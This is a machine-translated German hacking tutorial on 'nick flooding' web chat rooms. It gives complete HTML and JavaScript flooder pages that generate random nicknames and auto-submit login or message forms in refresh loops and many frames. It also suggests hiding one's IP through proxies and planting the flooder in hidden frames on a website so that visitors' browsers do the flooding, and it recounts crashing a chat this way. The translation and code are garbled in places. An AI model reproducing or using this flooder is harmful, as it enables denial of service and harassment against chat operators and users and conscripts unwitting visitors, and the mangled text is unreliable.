This page has been robot translated, sorry for typos if any. Original content here.

Anti-Chat oder Nick Flooding Teil 1

Fortsetzung >>>


Als Fortsetzung des FA-Themas haben wir beschlossen, einen weiteren Artikel zu schreiben, der nun genau seinem Titel entspricht. Achtung: Benutze es ausschließlich, um die "erfrorenen" Admins zu bekämpfen, die aus Müßiggang oder um ihre Fähigkeiten zu demonstrieren, aus irgendeinem Grund aus dem Chat geworfen werden, auch ohne es. Verwenden Sie dieses Tool nicht in Chatrooms, in denen Sie durch sie entfremdet werden, um normal zu kommunizieren Sie werden niemanden reden lassen , weil eine beeindruckende Anzahl verschiedener "Leute" in den Chat gehen wird und es so viele von ihnen geben wird, dass es unmöglich ist, sich im Chat auszudrücken ... Mit anderen Worten, dies ist "Nick Flooding" oder das Füllen des Chats mit nicht existierenden Besuchern.

Speichern Sie die Startseite auf der Festplatte.
Zur Implementierung benötigen Sie einen Chat mit einem Login ohne Registrierung und ein wenig HTML-Wissen (zumindest, was es ist). Speichern Sie die Startseite des Chats. Dort steht "Geben Sie Ihren Spitznamen ein".

Code wie folgt

<html> <body> ......................

<FORM action = /cgi-bin/chat/login.cgi method = post name = "chat_x" > - der Pfad, an den die Daten gesendet werden
Geben Sie Ihren Spitznamen ein: <input type = text name = Nick > - Spitzname wird hier eingegeben
<INPUT name = color type = hidden value = red> - Farbe
<INPUT type = submit value = "Start !!!" > - Taste

..................... </ html> </ body>

Und so sieht es im Browser aus: Geben Sie Ihren Spitznamen ein

Wenn Sie eine Startseite als Frames geladen haben, z. Sie können die Nachrichten bereits sehen, unten steht "Geben Sie Ihren Spitznamen ein" (normalerweise ist dies der unterste Frame), Sie sollten dort mit der rechten Maustaste klicken (unten) und auch "Als HTML anzeigen" auswählen. Dort sehen Sie auch, dass der Code im Hauptfall möglicherweise komplizierter wird.

Wenn Sie wissen, wie Sie auch in diesem Chat mit dem Chat von der Festplatte aus arbeiten können, hat der Code des unteren Frames nach dem ersten Satz folgende Bedeutung:

<html> <body> ......................

<FORM action = / cgi-bin / chat / login.cgi method = post name = "chat_x" > - der Pfad, auf dem die Daten gesendet werden
<input type = hidden name = Spitzname value = Ihr Spitzname> - Spitzname (nicht sichtbar)
<INPUT name = color type = hidden value = red> - Farbe
Geben Sie die Phrase <INPUT TYPE = TEXT name = say size = "24"> - das Phraseneingabefeld ein
<INPUT type = submit value = "Sagen Sie !!!" >

..................... </ html> </ body>

Befindet sich dieser Chat unter http://www.domen.ru, geben wir in der Zeile <FORM action = /cgi-bin/chat/login.cgi method = post name = " chat_x "> auch folgende Adresse an: <FORM action = http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> jetzt führen wir diese Datei aus und verlassen sie im Chat, name = " chat_x " kann fehlen, während Zeit, um es selbst hinzuzufügen. Anstelle von chat_x kann es auch von dem anderen aufgerufen werden. Wenn Sie den Chat über diese Datei aufrufen können, fahren Sie mit dem nächsten Element fort.

Der erste Trick: einen "Chat-Besucher" generieren

Wenn wir einen Spitznamen für unsere Zwecke verwenden, wird er nicht mehr als 2-3 Sätze umfassen ... wird weggeworfen. Daher ist es notwendig, dass der Spitzname prkticheski immer anders war. Das Java-Skript hilft uns dabei (Sie müssen ihn nicht kennen, ersetzen Sie einfach Ihre Zahlen). Math.floor (Math.random () * 100000000)

Ein Beispiel kann durch Klicken auf die Schaltfläche angezeigt werden:


Erklärung: Das mathematische Objekt Math: Math.random () erzeugt eine Zahl von 0 bis 1, dann wird diese Zahl mit Hilfe von Math.floor () gerundet und muss beispielsweise mit 10 multipliziert werden, während die Zahl von 0 bis 9, wenn Sie mit 100 multiplizieren, dann bis zu 99, wenn Sie mit 1000 multiplizieren, dann auch bis zu 999. d.h. Die Länge der resultierenden Zahl ist kleiner oder gleich der Anzahl der Nullen, einschließlich der Zahl, mit der sie multipliziert wurde. Der Pfannkuchen war bereits verwirrt Lächle glücklich )) Im Beispiel (siehe unten) ist diese Nummer 100000000 Dadurch, dass wir eine Zufallszahl bekommen, wird dies ein Spitzname sein ...
Damit diese Nummer in das Formular für einen Spitznamen passt, setzen Sie sie in das automatische Laden der Seite, d. H. im <body> -Tag wird sich später herausstellen: <body onload = "document. chat_x . nick .value = (Math.floor (Math.random () * 1000000)) "> Achten Sie auf den Namen des Formulars (siehe Beispiel-HTML-Code) oben ist es gelb hervorgehoben), damit eine Zufallszahl in das gewünschte Feld in die gewünschte Form passt.

Ein weiteres Feature: Wir schicken "Besucher" in den Chat.

<script Language = "JavaScript">
Funktion submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 1000);
}
</ script>

Dieses Skript "klickt" auf die Schaltfläche "Senden" und sendet die Daten aus dem Formular "chat_x". Im Chat kann diese Schaltfläche als "Chat betreten" oder "Sagen" bezeichnet werden. Sie wird mit einer Verzögerung von 1000 ms ausgeführt, sodass Sie zuerst sehen können was geladen wurde (Sie können später 100 setzen), aber dann werden die Daten automatisch gesendet, aber dafür ist es notwendig, die Sendefunktion (send ) für das automatische Laden unserer Seite zu registrieren, d. h. Das Tag <body onload = "document.chat_x.nick.value = (Math.floor (Math.random () * 1000000)); submit ()"> lädt jetzt eine Zufallszahl, wenn die Seite geladen wird, und wird dann in das Formular chat_x in geschrieben Feld Nick. auch Daten aus dem chat_x Formular An den Server gesendet, stellt sich heraus, dass Personen mit einem Spitznamen in Form von mehreren Nummern in den Chat eingetreten sind.

Beispiel HTML-Code nicht anspruchsvolle Chat Flooder

<HTML> <HEAD> <TITLE> Chat Flooder </ TITLE>

<script Language = "JavaScript">
Funktion submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 1000);
}
</ script>

</ Head>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick . Value = (Math.floor (Math.random () * 1,000,000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = " chat_x ">
<eingabename = farbtyp = versteckter wert = rot>
Spitzname : <Eingabename = Spitzname = Text>
<INPUT type = submit value = " Start !!! ">
</ Body> </ html>

Die letzte ... persönliche Überschwemmung

Um dies zu tun, essen Sie drei Möglichkeiten.

1. Erstellen Sie eine Datei mit einem Frame-Paar in einer Datei, die beim Laden einen Kurznamen erstellt und diesen auch an den Chat sendet. Nennen wir sie forma.htm, in einer anderen Frame-Datei, in meinem Beispiel yo.htm. Und speichern Sie es unter dem Namen frames.htm. Der Code für dieses Dokument lautet:

Inhalt von frames.htm

<html> <head> <title> Chat Flooder </ title> </ head>
<frameset rows = "*, 100">
<frame name = "main" src = " forma.htm ">
<frame name = " send " src = " yo.htm ">
<noframes> <body>
<p> Diese Seite verwendet Frames. </ p>
</ body> </ noframes> </ frameset>

Ich habe den Namen des Sende- Frames seitdem speziell herausgegriffen Die Daten werden an ihn gesendet, sodass die Datei forma.htm nach dem Senden nicht entladen werden kann. Weiter im Code forma.htm fügen wir Folgendes hinzu: im <FORM action = ..... tag = target = " send "> und in der Quelle der act-Zeile: <meta http-equiv = "Refresh" content = "1"> damit die Datei selbst wird jede Sekunde aktualisiert und Timer = 0 gesetzt. Was ist passiert: Die Datei wird auch aktualisiert und an den Chat des Besuchers gesendet. Sie wird im Frame mit dem Namen SEND angezeigt, d. H. Anstelle der Datei yo.htm wird der Chat angezeigt. Dann wird auch die Datei forma.htm aktualisiert. Der neu erstellte Chat wird erneut aktualisiert. Der Chat wird erneut gestartet :) Die Aktualisierungsfrequenz wird basierend auf der Verbindungsgeschwindigkeit festgelegt.

Beispielinhalt forma.htm

<Html>
<HEAD> <TITLE> Chat Flooder </ TITLE>
<meta http-equiv = "Refresh" content = " 1 ">
<script Language = "JavaScript">
Funktion submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 0 );
}
</ script>

</ Head>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick . Value = (Math.floor (Math.random () * 1,000,000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = " chat_x " target = " send ">
<eingabename = farbtyp = versteckter wert = rot>
Spitzname : <Eingabename = Spitzname = Text>
<Eingabename = Kennworttyp = versteckter Wert = "">
<INPUT type = submit value = " Start !!! ">
</ Body> </ html>

2 wege. Zuerst machen wir 4 Dateien, die sich nur in der Verzögerung unterscheiden, wenn wir auch eine Frame-Datei senden, in der es zum Beispiel 16 (!) Frames gibt, in den ersten vier die erste Datei, in der Timer = setTimeout ("(document.chat_x.submit ())", 1000 ); In den anderen vier Rahmen wird die zweite Datei geladen, in der die Verzögerung 10.000 beträgt. In den dritten vier 30.000. Nun, aber in den vierten vier wird die vierte Datei mit einer Verzögerung von 40.000 geladen, d.h. alle 10.000 ms betreten 4 "Personen" den Chat und sie sind alle unterschiedlich, obwohl sie in Form von Zahlen vorliegen, aber dies ist Müll ... Wenn Sie das Anmeldeformular im Chat verwendet haben, werden sie alle in den Chat eintreten, aber wenn Sie die Nachricht senden, dann Es ist erlaubt, einen Textabsatz als Nachricht einzugeben, während jeder generierte Spitzname spricht. Experimentieren Sie, probieren Sie andere Optionen mit Frames aus.

Es bleibt nur Ihre IP zu verbergen, dafür können Sie A4Proxy verwenden , eine große Liste von Servern wählen ....

3 wege. Wenn Sie die Site essen, ist es erlaubt, diese Dateien darauf abzulegen, zum Beispiel in einem versteckten Frame, während auch die IP fast immer anders sein wird ...

Valim Chat :)

Chatrooms, die das System von Privaten verwenden, sind so angeordnet, dass sie ständig mit dem Computer des Benutzers "in Kontakt" sind, d. H. Sie generieren ständig einen Strom von Nachrichten für ihn. Sie überwachen nicht, ob er in irgendeiner Weise die Verbindung getrennt hat. Auch wenn die Benutzergemeinschaft ziemlich viel tut, kann der Chat dem nicht standhalten. Wir waren gerade in einem Chat, der maximal 70 Personen standhalten kann. Dann funktioniert er einfach nicht mehr, obwohl auch die Startseite geladen wird. Es war nicht schwierig, einen solchen Chat "manuell" zu platzieren. Es war lediglich erforderlich, eine Datei zu erstellen, die Spitznamen generiert und diese an sendet Chat, eine Minute nach dem Start dieser Datei, im Chat zu den bestehenden 23. hinzugefügt etwa weitere 50 Personen :) ) er ist auch runtergefallen (ich habe eine Datei aus einer Vielzahl von Frames verwendet, in der es auch eine bla bla-Datei gab) und es sollte beachtet werden, dass wir im Club waren, aber es gibt beeindruckende Geschwindigkeit und leistungsstarke Computer :) . Es kann auch mit einem Modem funktionieren (wie wenn Sie sich darauf einigen, sofort zu starten) oder es zuerst selbst versuchen, ich weiß nicht ... Vergessen Sie nicht, dass Chat-Protokolle auch von Administratoren protokolliert werden, danach möchten Sie möglicherweise sehen, was es war :) Nun ist der Zugang von der IP-Adresse des Internetclubs "GeForce" zu diesem Chat geschlossen :)

FAQ: Wenn es nicht funktioniert

FlooDer : Bei mir funktioniert nichts :)
Versuchen Sie zunächst, den Chat von der Festplatte aus aufzurufen, d. H. Aus dem auf der Schraube gespeicherten Anmeldeformular, wenn alles geklappt hat, dann der Fehler im "script-flooding" Code :) wenn es nicht geklappt hat, lies weiter ...

FlooDer : Ich bin von der Festplatte gekommen und kann jetzt keine Daten mehr senden :) was tun
Überprüfen Sie die Richtigkeit des Formularnamens (name = XxXxX)

FlooDer : Was ist in der Zeile <FORM action = http: //www.***.ru/chat.cgi method = post> common no name = "XxXxX" zu tun?
Geben Sie Folgendes ein: (name = "chat_x" target = "send") target- Damit die Daten an den Sende-Frame gesendet werden, sieht es folgendermaßen aus: <FORM action = http: //www.***.ru/chat.cgi method = post name = "chat_x" target = "send ">

FlooDer: Wenn Sie den Chat betreten, müssen Sie ein Passwort eingeben. Wenn nicht jeder Spitzname registriert ist, wie geben Sie es in den Code ein?
Im Formular zur Eingabe des Passworts muss Folgendes hinzugefügt werden: value = "abrakadabra", dann geben alle generierten Benutzer dieses Passwort ein

Fortsetzung >>>

Es wäre nicht überflüssig für Ihre Freunde, diese Informationen herauszufinden und den Artikel mit ihnen zu teilen!

Kommentare Kommentarfenster erweitern / minimieren erweitern / reduzieren

Beachten Sie bei Ihren Kommentaren, dass Inhalt und Ton Ihrer Nachricht die Gefühle von echten Menschen verletzen, Respekt und Toleranz gegenüber Ihren Gesprächspartnern zeigen können, auch wenn Sie deren Meinung nicht teilen. Ihr Verhalten unter den Bedingungen der Meinungsfreiheit und Anonymität, die das Internet bietet, ändert sich nicht nur virtuell, sondern auch real. Alle Kommentare sind vor dem Index verborgen, Spam wird kontrolliert.
Gefällt es dir Abonnieren Sie RSS- Feeds,
die ersten sein, die Informationen erhalten
über alle wichtigen Ereignisse des Landes und der Welt.
Sie können auch shram.kiev.ua unterstützen, klicken Sie auf: